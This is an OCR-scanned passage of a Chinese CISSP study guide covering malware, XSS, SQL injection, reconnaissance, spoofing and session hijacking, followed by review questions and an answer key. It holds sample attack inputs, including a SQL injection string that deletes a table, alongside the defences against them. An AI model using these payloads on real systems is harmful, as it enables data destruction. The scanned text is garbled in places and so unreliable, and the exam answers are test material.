并且能够利用各种操作系统的 己知漏洞。 攻击者经常通过使用密码攻击或社会工程学攻击获得标准
的系统用户账号 ， 然后使用 r∞tkit 将他们的访问权限提高到 root(或系统管理员)级别。 这种从标准
到管理特权访 问 的提升被称为权限提升攻击。
系统管理员可 以采用一种简单的预防措施来保护他们的系统不会遭受大量的 r∞，tkit 攻击， 这其
实并不新鲜。 系统管理员必须关注针对其环境所使用操作系统而发布的新的补丁程序 ， 而且要始终
坚持应用这些修正措施。 这是一种加强网络以应对几乎所有 rootkit 攻击和许多其他潜在漏洞的简单
方法。
2 1 .4 Web 应用的安全性
Web 应用让你足不出户地购买在线机票、 查看电子邮件、 支付账单以及买卖股票。 今天， 几乎
所有交易都可 以在 Web 站点上完成， 许多站点更是允许人们通过其管理重要的事务。
Web 应用具有便利的优点， 随之而来的则是一系列新的攻击， 这些攻击使提供 Web 应用 的机构
可能面临安全风险。 接下来， 我们将介绍两种常见的 Web 应用程序攻击。 另外关于更多 Web 应用
安全的细节， 可 以查看第9章 " 安全脆弱性 、 威胁和对策 "。
21 .4.1 跨站脚本(XSS)攻击
当 Web 应用程序包含反射式输入类型时， 就容易 出现跨站脚本(XSS)攻击。 例如， 某个简单的
Web 应用程序只包含一个请求用户输入用户名 的文本框， 用户单击 " Submit" 按钮后， Web 应用程
序就会加载新的页面， 该页面显示消 息 " Hello， name " 。
正常情况下， 这个 Web 应用程序会按照设计运行。 但是， 怀有恶意的人可以利用该应用幸自字来
欺骗毫无疑心的第三方。 读者可能己经知道， 通过使用 气SCRIPT>" 与 "<ISCRIPT>" 盯阻 标记，
就可以在 Web 页面嵌入一些脚本。 假设在 Name 字段中不输入名字 "Mike"， 而是输入下面的文本:
Mike<SCR I PT>alert ( ' hello ' ) < !SCRI PT>
Web 应用程序以 Web 页面形式 " 反射" 这个输入， 浏览器进程像处理其他任何 Web 页面一样
进行处理: 显示 Web 页面的文字部分以及执行脚本部分。 此时， 脚本只是打开一个显示 "Hello"
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CISSP 官方学习指南(第 7 版)
的弹出式窗口。 不过， 完全可以嵌入更复杂、 更恶意的脚本， 比如请求用户提供密码并将密码传送
给恶意 的第三方。
此时， 你可能存在困惑: 某人是如何不幸落入这种攻击陷阱的? 毕竟， 在完成反射操作的 Web
应用程序所提供的输入文本框中， 你并不希望嵌入攻击 自 己 的脚本。 XSS 攻击的关键在于能够将表
单输入嵌入一个链接。 恶意攻击者可以创建一个 Web 页面， 该页面具有一个标题为 " Check yo旧
account at First Bank" 的链接， 并且该链接嵌入了 表单输入。 用户访问这个链接时 ， Web 页面显示
看似可信的 First Bank Web 站点， 该站点能够通过有效的 SSL 认证， 同时工具栏中显示正确的站点
地址。 但是， 这个站点随后会执行恶意攻击者在表单输入中嵌入的脚本， 并且看上去似乎是有效
Web 页面内 的正常操作 。
如何防御跨站脚本攻击? 在创建允许存在各种用户 输入的 Web 应用程序时， 必须保证执行输入
验证。 最基本的做法是: 一定不允许用 户在可反射输入宇段中输入<SCRIPT>标记 。 然而 ， 这种做
法并不能完全解决问题。 对于乐此不疲的攻击者来说， 总是能够找到其他一些巧妙的方法来攻击
Web 应用程序。 最佳的解决方案应当是: 首先确定许可的输入类型， 然后通过验证实际输入来确保
其与指定模式匹配。 例如， 如果 Web 应用程序具有一个允许用户输入年龄的文本框， 那么应当只接
受一到三位数字作为输入 ， 其他输入则被视为无效。
提示 :
更多 关于去\tìâff夸站脚本的过滤方法， 请查看 https://www.owasp.orglindex.phpIXSS_Filter_Evasion_
Cheat SheeL
2 1 .4.2 SQL 注入攻击
从组织的角度看， SQL 注入攻击甚至比 XSS 攻击更加危险。 与 XSS 攻击一样， SQL 注入攻击
也使用 了 Web 应用程序不期望的输入。 不过， SQL 注入攻击并不试图使用这样的输入来欺骗用户 ，
而是用于获得对 内 在数据库的未授权访 问 。
1 . 动态 Web 应用程序
在 Web 早期， 所有 Web 页面都是静态或无变化的 。 Web 站点管理员创建了含有信息的 W出 页
面并将其放置在 Web 服务器上， 用户则可 以使用各自 的 Web 浏览器在 Web 服务器上检索到 Web 页
面。 Web 很快跳出 了 上述静态模型， 这是由于用户希望能够根据 自 己的具体需要来访问 定制的信息。
例如， 某个银行站点的访问者不仅仅关心显示银行位置、 营业时间 以及服务等信息 的静态页面， 而
且还希望检索到包含个人账户相关信息的动态内容。 显然， Web 站点管理员不可能在 Web 服务器上
为不同用户创建包含个人账户信息的 Web 页面。 对于一家大型银行来说， 使用静态 Web 技术需要
维护数百万具有最新信息的页面 。 因此， 动态 Web 应用程序应运而生 。
在用户发出请求时， Web 应用程序利用数据库创建符合要求的 内 容。 仍然以银行为例， 某位用
户通过输入账户与密码登入 Web 应用程序， Web 应用程序随后从银行数据库中检索当前的账户信
息， 井且使用检索到的信息立即生成一个 Web 页面， 这个页面包含该用户的当前账户信息。 如果用
户在一个小时后再次登录， 那么 Web 服务器会重复上述过程， 并且从数据库获得最新的账户信息。
图 2 1.1 说 明 了 这个模型 。
第 21 章 恶意代码与应用攻击
防火墙
11 数据库服务器
Web 服务者在
图 2 1.1 典型的数据库驱动 的 Web 站 点的体系结构
对于安全人员来说， 上述例子说明 了什么 ? Web 应用程序在传统安全模型中加入了复杂性。
如 图 21.1 所示， 作为可轻易访问 的公共服务器， Web 服务器归属于隔离区(DMZ); 另 一方面， 数据
库服务器并非用于公共访问， 所以归属于内部网。 Web 应用程序需要访问数据库， 因此防火墙管理
员 必须创建一条允许从 Web 服务器访问数据库服务器的规则。 这条规则为互联网用户创建了能够有
权使用数据库服务器的潜在路径(要想 了解防火墙与 DMZ 的更多知识， 可 以参看第 1 1 章 " 网络安
全架构和保护网络组件" )。 如果 Web 应用程序正常运行， 那么就只接受授权用户对数据库的请求。
但是， 如果 Web 应用程序存在缺陷， 就可能导致某些使用 SQL 注入攻击的用户能够 以不期望和未
授权的方式篡 改数据库 。
1. SQL 注入攻击
SQL 注入攻击使恶意攻击者能够违反如图 21 . 1 所示模型的隔离性， 从而直接完成攻击内在数据
库 的 SQL 事务。
提示 :
要想 了 解数据库与 SQL 的 更多 知识， 读者可以参看 第 20 章 。
在前面的示例中， 银行客户可能输入账户号码， 从而有权使用检索当前账户细节的动态 Web 应
用程序。 Web 应用程序则可能使用下面的 SQL 查询形式获取账户信息， 这里的<number>是客户在
Web 表单中输入的账户 号码:
SELECT *
FROM t ransact工ons
WHERE account number = ' <number> '
此时， 还需要 明 白另一个重要事实: 只要每条语句都以分号结束， 数据库就能够同时处理多条
SQL 语句 。
如果 Web 应用程序并不执行适当的输入验证操作 ， 用户完全可能在由 Web 服务器执行的语句
中 插入 自 己 的 SQL 代码。 例如， 假设用 户 的账户 号码为 1 45249， 那么可 以输入下面的语句 :
145 2 4 9 ' ; DELETE * FROM transactions WHERE 'a' = ' a
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CISSP 官方学习指南(第 7 版)
Web 应用程序随后 自然地将这些输入嵌入先前 SQL 语句的<number>宇段中 ， 从而得到下面这
样 的语句 :
SELECT *
FROM transactions
WHERE account number = ' 145 2 4 9 '; DELETE * FROM transactions WHERE 'a' = 'a'
调 整格式之后的语句如下所示:
SELECT *
FROM transactions
WHERE account number = ' 145 2 4 9 ';
DELETE *
FROM transactions
WHERE 'a' = 'a'
这是一个包含两条语句的有效 SQL 事务。 第一条语句从数据库检索被请求的信息; 第二条语句
636
则删除数据库中存储的所有记录 ， 真是令人难 以置信 !
2. 防御 SQL 注入攻击
可以通过下列 三种技术使 Web 应用程序不遭受 SQL 注入攻击的危害 :
• 执行输入验证。 与前面讨论的跨站脚本攻击的防御方法一样， 输入验证操作能够限制用户
在表单中输入的数据类型。 具体到上面的 SQL 注入攻击示例 ， 从输入中去除单引 号字符就
能够成功地防御 SQL 注入攻击。
• 限制用户特权。 Web 服务器使用 的数据库账户应 当具有尽可能最小的权限集。 如果 Web 应
用 程序只需要检索数据 ， 那么数据库账户就应当仅具有检索能力 。 在具体的示例中， 如果
账户 只 具有 SELECT 权限 ， 那么 DELETE 命令就会失败。
• 使用存储过程。 Web 应用程序的开发应该利用数据库存储过程来限制应用手里字执行任意代
码的能力。 使用存储过程， SQL ì吾句驻留在数据库服务器上并且仅仅可由数据库管理员修
改 。 调用存储过程 的 Web 应用程序可 以传递参数 ， 但不改变 SQL 语句 的基本结构。
2 1 .5 侦察攻击
恶意代码往往依靠欺骗用户打开或访问 恶意软件， 其他攻击则直接攻击 目 标机器。 执行侦查可
以让攻击者找到弱点 ， 利用他们的攻击代码直接攻击。 为了达到这个 目 标， 攻击工具的开发人员开
发了许多执行网络侦察的 自动化工具。 我们将会讨论三种自 动侦察技术: IP 探测、 端 口扫描和漏洞
扫描， 然后阐述这些技术如何得到更实用 的密集型垃圾搜寻技术的 辅助 。
21 .5.1 I P 探测
E 探测(也被称为 E 扫描或 ping 扫描)通常是针对 目 标网络而实施的第一种网络侦察类型。 通过
这种技术， 自 动化工具只是试图 pmg 某个范围内 的所有地址。 对 pmg 请求进行响应的系统被攻击
者记录下来 以便进一步分析。 没有产生响应的地址被认为不 能加 以利用 并被忽略。
第 21 章 恶意代码与应用攻击
提示 :
Nmap 工具是一个用和t IP 和端口进行扫描的最常见工具， 可以免费从www.nmap.org 网 站上
下载。
如今， IP 探测在互联网上非常流行。 事实上， 如果使用公共的 E 地址来配置系统并连接到互
联网 ， 那么在计算机启动后的几个小时内 就可能至少遭受一次 E 探测攻击。 这种技术的广泛应用使
得禁用 pmg 功能成为保护系统安全的强有力理由， 至少应当针对网络外部的用户禁用这个功能。
2 1 .5.2 端口扫描
在完成 E 探测攻击之后， 攻击者就会获得一个指定网络中工作系统的列表。 攻击者的下一个任
务是选择一个或更多个系统作为其他攻击的 目 标。 通常， 攻击者己经确定了攻击目标的类型 ， 其中
Web 服务器、 文件服务器或其他执行关键操作的服务器是主要 目 标。
为了缩小搜索范围， 攻击者会使用端 口扫描软件来探测网络中 的所有工作系统并确定每台计算
机上运行的公共服务。 例如， 如果攻击者将 Web 服务器作为攻击 目 标， 那么他们就运行端 口 扫描软
件来定位使用 80 端口(80 端口是 HTTP 服务的默认端 口 )提供服务的系统。
21 .5.3 漏洞扫描
第三种技术是漏洞扫描。 一旦攻击者确定了成为攻击 目 标的系统， 他们就需要找到这个系统上
可 以利用的特定漏洞来获得希望的访问许可权限。 从互联网上可以获得的多种工具都能协助完成这
个任务。 其中 ， 为达到这个目 的有许多 比较流行的工具， 包括 Nessus、 OpenVAS、 Qualys、 Core Impact
和 Nexpose。 这些软件包中包含己知漏洞的数据库， 并可以通过探测 目标系统来定位安全缺陷。 随
后 ， 它们会生成非常吸引 人的报告， 报告对所发现的每个漏洞都进行了详细说明。 此时， 攻击者面
对 的 问题只是找 出 利用具体漏洞 的脚本文件以及对受害系统发动攻击。
认识到漏洞扫描草里芋是高度自 动化的工具十分重要。 漏洞扫描程序可以被用于对特定的系统发
起攻击， 不过攻击者可能使用一系列 E 探测 、 端 口扫描和漏洞扫描技术来缩小潜在受害系统的列表。
不过， 入侵者也可能运行漏洞扫描程序来对整个网络进行探测 ， 从而找 出可以被利用 的漏洞。
需要再次强调的是， 只 有将操作系统升级到最新的安全补丁级别， 才有可能几乎完全修复漏洞
扫描程序报告的所有漏洞。 此外， 明智的系统管理员要学会像他们的敌人那样思考问题， 下载并运
行这些针对自 己网络的漏洞扫描程序(当然要经过上层管理者的许可)， 从而了 解潜在的攻击者会利
用 哪些安全漏洞 。 这样可 以快速集中资源 以强化网络中 最薄弱 的环节。
21 .5.4 垃圾搜寻
每个组织都会产生垃圾， 通常每天的 日 常工作会产生大量的垃圾。 你曾经花时间对 自 己的垃圾
进行过分类吗? 查看过是否将敏感资料投入了垃圾箱吗? 试着这样做一次， 结果会让你大吃一惊。
当你将每天分析的工作文件到处乱扔时， 试着从攻击者的角度看待这个问题。 能够从这些文件中收
集到什么样的信息， 可 以帮助发动一次攻击吗? 那些文件里存在有关网络配置或己安装软件版本的
敏感数据吗? 特殊部门员工的生日 列表能够被用于社会工程学攻击吗? 一本策略手册中可能包含生
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CISSP 官方学 习指南(第 7 版)
成新账户 的 详细规范吗? 随便丢弃 的软盘或其他存储介质可能存有重要数据吗?
不要低估琐碎的公司文挡对于社会工程学攻击的价值。 著名 的社会工程师 Ke叩1 Mitnick 曾 经被
允许使用公司 的简报作为攻击的关键组件。 他很快注意到包含新员工列表的部分， 并且意识到这些
人是最合适的受害者 : 这些新员工在接到来 自 " 高层 " 对机密信息 的 电话请求时都会十分热情。
垃圾搜寻是本书提到的最古老的攻击方法之一， 直到今天还在被使用。 针对这种攻击的最佳防
御措施相当简单， 就是使攻击者的行动变得更困难。 为主要部门购买碎纸机并鼓励员 工使用这种计
算机。 将垃圾保存在一个安全的地方， 直到收拾垃圾的人到来。 这些小细节的培养需要经历漫长的
过程。
21 .6 伪 装攻击
为 了获得对没有访问资格的资源的访问权限， 最简单的方法之一就是假冒具有适当访问许可权
限的人。 在现实生活中 ， 十几岁 的青少年经常借用 自 己兄长或姐姐的驾驶证开车， 在计算机的安全
领域中也会发生相同 的事情。 攻击者借用合法用户和系统的身份得到第三方的信任。 在本节中 ， 我
们将介绍两种常见的伪装攻击: IP 欺骗和会话劫持。
21 .6. 1 I P 欺骗
在 E 欺骗攻击中 ， 怀有恶意的人只是重新配置他们的系统， 使其具有可信任系统的 E 地址，
然后试图获得访问其他外部资源的权限。 在许多没有安装阻止这种通信类型发生的适当过滤器的系
统中 ， 你会'原奇地发现 IP 欺骗非常有效。 系统管理员应该在每个网络的边缘配置过滤程序， 从而确
保数据包至少符合下列标准 :
• 具有内部源 E 地址的包不能从外部进入网络。
• 具有外部源 IP 地址的包不能从内 部离开网络。
• 具有私有 E地址的包不能从任何一个方向通过路由器(除非被允许作为内部配置的一部分)。
这三条简单的过滤规则能阻止绝大多数的 IP 欺骗攻击井大大提高网络的安全性。
21 .6.2 会话劫持
会话劫持攻击指的是'怀有恶意的人中途拦截己授权用户 与资源之间通信数据的一部分， 然后使
用 劫持技术接管这个会话并伪装成 己授权用户 的身份。 下面列出了 一些常见的技术:
• 捕获客户端与服务器之间身份认证的详细信息 ， 并使用这些信息伪装成客户端的身份。
• 欺骗客户端， 使其认为攻击者的系统是与之通信的服务器， 并在客户端与服务器建立合法
连接时作为中间人， 然后断开服务器与客户端 的连接。
• 使用没有正常关闭连接 的用户的 cookie 数据访问 Web 应用程序。
上述所有技术都可能对终端用户造成灾难性的后果， 因此必须使用行政管理性控制措施(如防重
放身份认证技术)和应用程序控制措施(如在一段适当的时间 内 使 cookie 数据过期)予 以处理。
第 21 章 恶意代码与应用攻击
2 1 .7 本章小结
应用程序开发人员有很多担心 ! 随着黑客使用的工具和技术变得越来越复杂， 由于复杂性和多
个脆弱点， 应用层越来越多地成为他们攻击的焦点 。
恶意代码， 包括病毒、 蠕虫、 木马和逻辑炸弹， 利用应用程序和操作系统中的漏洞或使用社会
工程学感染操作系统， 并获得它们的 资源和机密信息。
应用程序 自 身也可能包含许多漏洞。 缓冲区溢出攻击利用缺少适当输入验证的代码来影响系统
内存中的内容。 后门为以前的开发者和恶意代码的作者提供绕过正常安全机制的能力。 r∞tkit 为攻
击者提供了 一种简单的方法来执行权限提升攻击。
许多应用程序正在转向 Web， 从而制造新级别的暴露和漏洞。 跨站脚本攻击允许黑客欺骗用户
向不安全的站点提供敏感信息。 SQL 注入攻击允许绕过应用程序控制直接访问和操纵底层数据库。
探测工具为攻击者提供了 自动化工具， 他们可以使用它们来确定后面要攻击的带有脆弱性的系
统。 E 探测 、 端口扫描和漏洞扫描都是使用 自 动化的方法来检测组织的安全控制中 的薄弱点。 伪装
攻击使用 隐形技术来模拟用户 和系统。
2 1 .8 考试要点
理解病毒使用的传播技术。 病毒使用 4 种主要的传播技术来渗透系统并传播恶意有效载荷， 这
三种技术是文件感染、 服务注入、 引 导扇 区感染和宏感染， 从而渗透系统和扩散它们的病毒载体。
需要理解这些技术 以有效地保护网络上的系统免受恶意代码侵犯。
知道反病毒软件包如何检测己知病毒。 大多数反病毒程序使用特征型检测算法寻找 己知病毒的
指示模式。 为了维持对新产生病毒的防护 ， 定期更新病毒定义 文件是必不可少的。
解释攻击者使用 的损坏密码安全的攻击技术。 密码是 目 前最常见的访问控制机制 ， 也是必不可
少的， 所以需要知道如何保护以防止攻击者破坏它们的安全性。 知道如何进行密码破解 、 字典攻击
和 社会工程学攻击也可以打败密码的 安全性。
熟悉各种类型的应用程序攻击， 攻击者使用这些攻击来攻击编写拙劣的软件。 应用程序攻击是
现代计算的最大威胁之一。 攻击者还利用后门、 检查时间到使用时间漏洞 以及 r∞d<Ìt 来获得对系统
的非法访问。 安全专家必须对每种攻击和相关控制措施有清晰 的理解。
理解常见 Web 应用程序的漏洞及对策。 由 于许多应用程序转移到 Web 上 ， 开发人员和安全专
业人员必须了解存在于当今环境中的新的攻击类型， 以及如何防护它们。 两个最常见的例子是跨站
脚本(XSS)攻击和 SQL 注入攻击。
知道攻击者准备攻击网络时使用的网络侦察技术。 在发起攻击之前 ， 攻击者使用 E 扫描来找出
网络中运行的主机。 这些主机随后会遭到端 口扫描和其他漏洞探测， 从而使攻击者能够定位在 目 标
网络中可能被攻击的脆弱之处。 应该在理解这些攻击后帮助网络抵御这些攻击， 限制攻击者可能收
集的信息量。
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640
CISSP 官方学习指南(第 7 版)
2 1 .9 书 面实验室
1 . 病毒和蠕虫之间 的主要区别是什么 ?
2. 阐述 Robert Tappan Morris 设计的互联网蠕虫所使用 的 4 种传播方法。
3. 当反病毒软件包发现被感染的文件时， 可 以采取什么操作 ?
4. 解释数据完整性保证软件包(如 Tripwire)如何提供-些辅助的病毒检测能力。
2 1 .10 复习题
1 . 以 下哪一项技术被普遍采用 以应对病毒攻击?
A. 特征码检测
B. 启 发式检测
C. 数据完整性保证
D. 自 动重建
2. 你是一家电子商务公司 的安全管理员 ， 并且正在部署新的 Web 服务器到生产环境中 ， 应该
使用什么 网络区域?
A. 互联网
B. DMZ
C. 内部网
D. 沙盒
3. 以 下哪一种类型的攻击依赖于两个事件之间 的时间差异?
A. smurf
B. TOC厅OU
C. Land
D. Fraggle
4. 以下哪一项技术需要管理员确定适当 的应用程序环境?
A. 沙盒
B. 控制签名
C. 完整性监控
D. 自名单
5. 以 下什么先进的病毒技术在其感染的 每个系统上修改病毒的恶意代码 ?
A. 多态
B. 隐身
C. 加 密
D. 多 分体
6. 下 列哪个工具提供 了 一个忘记复杂密码情况下的解决方案?
A. LastPass
B. 破解工具
C. 影子密码文件
第 21 章 恶意代码与应用攻击
D. Tripwire
7. 以 下哪一种应用程序漏洞直接允许攻击者修改系统内存中的内容 ?
A. rootkit
B. 后 门
C. TOC/TOU
D. 缓冲区溢出
8. 以下哪个密码最不可能在宇典攻击中 被攻破?
A. mike
B. elppa
C. dayorange
D. fsas3aIG
9 以下哪个文件在 Unix 系统中用于防止字典攻击?
A. /etc/passwd
B. /etc/shadow
C. /etc/security
D. /etc/pwlog
1 0. 当 向 Web 表单中输入数据时 ， 以下哪个字符作为用户 输入应该认真对待 ?
A. !
B. &
C. *
D.
1 1 什么数据库技术， 如 果执行了 Web 表单 ， 可以限制 SQL 注入攻击?
A 触发器
B. 存储过程
c. 列加密
D. 并发控制
12. 什么类型的侦察攻击为攻击者提供了 关于 系统上运行的服务的有用信息?
A. 会话劫持
B. 端口扫描
C. 垃圾回 收
D. IP 扫 描
13. 在网页上使用跨站脚本攻击 ， 什么条件是必需的?
A 反射输入
B. 数据库驱动的内容
C. .阳T 技术
D. CGI 脚本
1 4. 什么类型的病毒利用 一种 以 上传播技术， 以 最大限度地加大渗透系统的数量?
A. 隐形病毒
B. 伴随病毒
C. 多态病毒
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CISSP 官方学 习指南(第 7 版)
D. 多 分体病毒
15. 哪种方法 是防御跨站脚本攻击的最有效防御方法?
A. 限制账户权限
B. 输入验证
C. 用户认证
D. 加 密
1 6. 以 下哪个蠕虫首次对设施造成重大物理损害 ?
A. 震 网病 毒
B. 红色代码
C. Melissa
D. RTM
1 7. Ben 的系统感染了恶意代码， 修改了操作系统， 允许恶意代码的作者访问他的文件， 这个攻
击者利用 了 什么 类型的 攻击技术?
A. 权限提升
B 后 门
C. rootkit
D. 缓冲区溢出
1 8. 哪一种技术是 Java 语言采用 的用来最小化 applet 带来的威胁 ?
A. 保密
B. 加密
C. 隐身
D. 沙盒
19. 哪 个 HTML 标签常常作为跨站脚本(XSS)攻击的一部分?
A. <Hl>
B. <HEAD>
C. <XSS>
D. <SCRlPT>
20. 为了防止 IP 欺骗而设计防火墙规则时， 以下哪条规则 需要遵守 ?
A. 具有 内 部源 IP 地址的数据包不能从外部输入网络
B. 具有 内 部源 IP 地址的数据包不从 内部退出网络
C. 具有公共 IP 地址的数据包不能从任一方向 通过路由器
D. 具有外部源 IP 地址的数据包不从外部输入网 络
附录 A
复 习题答案
第 1 章 通过原则和策略的安全治理
1 . B. 安全性的主要 目 标和目的是 CIA 三元组中 的机密性、 完整性和可用性。
2. A. 对脆弱性和风险的评估依据是它们对 CIA 三元组中一条或多条安全原则的威胁程度。
3. B. 可用性意味着经过授权的主体被授权及时地、 不间断地访 问 客体 。
4. C. 硬件的毁坏是对可用性和完整性的破坏。 对机密'性的破坏包括: 捕获网络通信数据、 窃
取密码文件、 社会工程学、 端口扫描 、 肩窥、 偷听 以及嗅探。
5. C. 对机密性的破坏不仅限于直接针对机密性的攻击。 许多未授权的敏感或机密信息泄露都
是由于人为错误、 疏忽或失职造成的 。
6. D. 披露不是 STRIDE 的元素。 STRIDE 的元素是欺骗、 篡改、 否认、 信息披露、 拒绝服务
和特权提升。
7. C. 数据、 对象和 资源的可访问是可用性的 目 标。 如果安全机制提供了 可用性， 那么它就提
供 了经过授权的主体能够访 问数据、 对象和资源的高级别保证。
8. C. 隐私是指保持信息的机密'性， 这些信息可以是个人身份信息 ， 或者如果泄露， 就可能会
对他人造成伤害、 尴尬或丢人的信息。 隔离是将东西存储在一个位置的方式。 隐瞒是隐藏或阻止披
露的行为 。 信息对应关键业务的水平是对其重要性的衡量。
9. D. 用户应当意识到电子邮件信息己被保留， 但是没有必要向用户泄漏用于执行这个操作的
备份机制 。
10. D. 所有权授予实体对其拥有的对象全部的功能和特权。 获取所有权的能力通常被授予操作
系统中最强大的账户 ， 因 为它可以用于超越其他实现的任何访 问 控制 限制 。
11. C. 不可否认性确保事件或活动 的主体不能否认 已经发生的事件 。
1 2. B. 分层法是以连续的方式部署多层安全机制。 当连续实施安全限制时， 它们以线性方式依
次被执行。 因此， 单个安全控制 的 失败不会使整个解决方案失效。
13. A. 防止经过授权的客体读者删除客体只 是一种访问控制， 而不是数据隐藏。 如果能够阅读
客体， 那么客体就未被隐藏 。
CISSP 官方学 习指南(第 7 版)
1 4. D. 防止安全受到威胁是变更管理的主要 目 标。
15. B. 数据分类方案的主要 目 的是: 根据分配给数据的重要性和敏感性标签对数据安全保护过
程进行规范化和层次化。
16. B. 大小不是建立数据分类的标准。 当对一个客体进行分类的时候， 应当将价值、 生存期和
安全含义考虑在 内 。
1 7. A. 军方(或政府)和私营部 门 (或商业企业)是两种通用 的数据分类方案。
1 8. B. 在列出 的选项中， 秘密是最低级别的军事数据分类。 请记住， 标记为机密、 秘密和最高
机密的项统称为分类 ， 机密在列表中低于秘密。
1 9. B. 商业企业/私营部 门 中 的 隐私数据分类用来保护个人的相关信息。
20. C. 分层法是安全机制 的一个核心方面， 但是并非数据分类的重点。
第 2 章 人员安全和风险管理概念
1. D. 无论安全解决方案中 有任何元素 ， 人都是最薄弱 的环节 。
2. A. 雇用新员工的第一步是要生成工作描述。 如果没有工作描述， 那么就没有对需要寻找和
雇用何种类型人员达成一致意见 。
3. B. 离职面谈的主要 目 的是根据雇佣协议和任何其他与安全相关的文件， 来检查保密协议
。IDA)和对前雇员 的其他责任和 限制 。
4. B. 在员工得到合同终止通知之前或同一时间， 就应当删除或禁用此员工的网络用户账号。
644
5. B. 第 三方治理是你的组织所依赖的第三方安全监督的应用 。
6. D. 文档审查的一部分是对业务流程和 组织策略的逻辑和实际调查。
7. C. 盯 基础设施的风险并非都是基于计算机的 。 事实上， 许多风险来 自非计算机。 当为组织
执行风险评估时， 应考虑所有可能的风险。 假如没有适当评估和对各种形式风险的响应， 公司仍然
脆弱 。
8. C. 风险分析包括: 分析环境中存在的风险， 评估每种风险发生的可能性和造成的损失是多
少 ， 评估各种风险的各种对策的成本， 以及生成防护措施的成本/效益报告并呈交给上层管理者。 选
择防护措施是上层管理者根据风险分析的结果进行的一项任务。 这是风险管理中 的一项任务， 不是
风险分析过程的一部分。
9. D. 用 户 的个人文件不是组织的资产， 因 此不在风险分析中予以考虑。
1 0. A. 威胁事件是意外或故意地利用漏洞 。
11. A. 脆弱性指的是防护措施或对策不存在或很薄弱 。
1 2. B. 任何能够消除脆弱性或阻止一种或多种特定威胁的方法被称为防护措施或对策， 而不是
风险。
13. C. 防护措施每年的成本不应该超过资产损失的年度预计成本。
14. B. SLE 是使用 公式 SLE=资产价值($)*暴露因子(SLE =AV * EF)来计算的 。
15. A. 防护措施对于组织的价值使用下面的公式计算: 实现防护措施前的 ALE-实现防护措施
后 的 ALE 防护措施每年的成本[(ALE1 - ALE2) - ACS] 。
16. C. 合作者愿意参与非法或攻击性计划的可能性被降低， 这是因为组合使用责任分离、 限制
工作职责和 岗 位轮换使得这些活动被发现的风险更高。
附录 A 复 习题答案
17. C. 培训是教育员工执行他们的工作任务和遵守安全策略。 培训通常由组织主持， 并针对具
有类似工作职能的员工群体。
1 8. A. 安全功能管理通常包括对 预算、 指标、 资源、 信息安全策略的评估， 以及评估安全程序
的完整性和有效性。
1 9. B. 火灾的威胁和缺少灭火器的脆弱性会导致设备破坏的风险。
20. D. 对策直接影响年发生比率， 这主要是因为对策被设计用于阻止风险的发生， 从而减少
每年发生风险 的频率。
第 3 章 业务连续性计划
1 . B 业务结构分析可 以帮助最初的计划编制者选择合适的 BCP 团 队成员 ， 然后指导整个 BCP
过程。
2. B. BCP 团队的第一个任务应该是审查和确认业务结构分析， 业务结构分析最初是由那些负
责开拓 BCP 工作的人执行。 这样做能够确保由 一小组人员承担的初始工作反映整个 BCP 团队的
看法。
3. C. 公司 的领导和主管在尽职尽责地实施活动方面受到法律的约束。 这一概念保证了 管理层
具有实施适当的业务连续性计划的 不可推卸 的责任。
4. D. 在计划编制期间 ， 最重要的资源利用是 BCP 团 队成员专门进行计划编制本身所花费的时
间 。 这体现了 业务资源使用 的重要性， 也 是高层管理人员必须参与进来的 另外一个原因。
5. A. 确定优先级的定量分析部分应该用货 币单位分配资产价值。
6. C. 年度损失期望(ALE)是指每一年由于特定风险所导致的业务货币损失值。 按定量方式确
定业务连续性资源分配的优先顺序时 ， 这个数值相 当有用 。
7. C. 最大可容忍故障时间倒TD)是指业务功能无法获得而不会引 起无法挽回 的业务损失的最
长时间 。 这个数值在确定分配给特殊功能的业务连续性资源的级别时 ， 非常有用 。
8. B. SLE 是 AV 和 EF 的乘积。 在本题中， AV 是 3 000 000 美元， 并且 EF 是 90%， 根据相同
土地可 以被用与重新构建设施这一事实 ， 因 此 SLE 是 2 700 000 美元。
9. D. 这个问题要求计算 ALE， 它是 SLE 和 ARO 的乘积。 在本题中 ， ARO 为 0.05(或 5%)。 从
第8题得知 ， SLE 是 2 700 000 美元， 因此 ALE 是 1 35 000 美元。
1 0. A. 这个问题要求计算 ALE， 它是 SLE 和 ARO 的乘积。 在本题中， ARO 为 0.10(或 1 0%)。
由 假设场景得知 ， SLE 是 750 万美元 ， 因 此 ALE是75 万美元。
11. C. 通过分析在 BIA 期间开发的风险优先级列表和确定在 BCP 中 处理哪些风险， 策略开发任
务在业务影响评估和连续性计划编制之间架起了 桥梁 。
12. D. 人的生命安全在业务连续性计划中 必须始终是最为重要的关注内容。 确保你的计划反映
了 这个优先级， 特别在记录文档 中 更是如此， 这份文档会分发给组织中 的所有员 工 !
13. C. 计算负面宣传对业务造成的损失非常困难。 因此， 这种类型的关注通过定性分析更容易
估计。
1 4. B. 单一损失期望(SLE)是单一风险发生后导致的破坏程度 。 在本题中， SLE 是 l 千万美元，
这是一次龙卷风的破坏期望值。 每百年才发生一次的龙卷风不在 SLE 的反映范围 内 ， 但在年度损失
期望(ALE)的范围 内 。
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CISSP 官方学 习指南(第 7 版)
15. C. 年度损失期望他E)是单一损失期望(SLE， 本题中为 l 千万美元)和年度发生率(成0，
本题中 为 0.0 1 )的乘积 ， 最后得到结果为 1 0 万美元。
16. C. 在预备和处理阶段， BCP 团 队实际上为缓解在策略开发阶段被认为不可接受的风险设计
了 规程和机制 。
1 7. D. 这是替换系统的一个例子 。 冗余通信链路是备用系统的一种形式， 它在主通信链路出现
故障时提供了 备份链路。
18. C. 灾难恢复计划在业务连续性计划 中止时开始。 在灾难发生后， 业务被中断， 灾难恢复计
划指导响应团 队快速地将业务运营恢复到正常水平 。
1 9. A. 单一损失期望是资产价值(AV)和暴露因子但F)的乘积。 其他公式并没有真实反映这个计
算过程。
20. C. 你应当致力于尽可能使公司最高主管签署 BCP 的重要性声明 。 在给出 的选项中， 首席
执行官级别最高。
第 4 章 法律 、 法规和合规性
l. C. ((计算机诈骗和滥用法案(修正案))) 针对那些使用病毒 、 蠕虫、 特洛伊木马和其他类型恶
意代码进行犯罪， 从而造成计算机系统损坏的个人制 定 了 刑事和 民事惩 罚 。
2. A. ((计算机安全法案》 要求强制性地对涉及管理、 使用或操作包含敏感信息的联邦计算机
系统的所有人定期进行培训 。
3. D. 行政法不需要立法机构的法案在联邦一级实施。 行政法由政府执行机构颁布的策略、 规
程和措施组成。 虽然不需要国会的法案， 但是这些法律要受到司 法审查而且必须遵守由立法机构制
定 的刑法和民法。
4. C. 美国国家标准技术研究所例1ST)负责联邦政府以下所有计算机系统的安全管理， 这些系
